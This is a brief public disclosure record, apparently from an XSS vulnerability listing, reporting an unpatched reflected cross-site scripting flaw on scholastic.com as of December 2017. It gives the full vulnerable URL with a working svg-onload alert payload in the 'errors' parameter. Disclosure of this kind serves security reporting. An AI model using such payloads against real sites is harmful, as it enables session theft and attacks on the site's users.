scholastic.com XSS vulnerability

Vulnerable URL: http://www.scholastic.com/browse/read.jsp?errors=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 20.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5260 VIP website status:| Yes...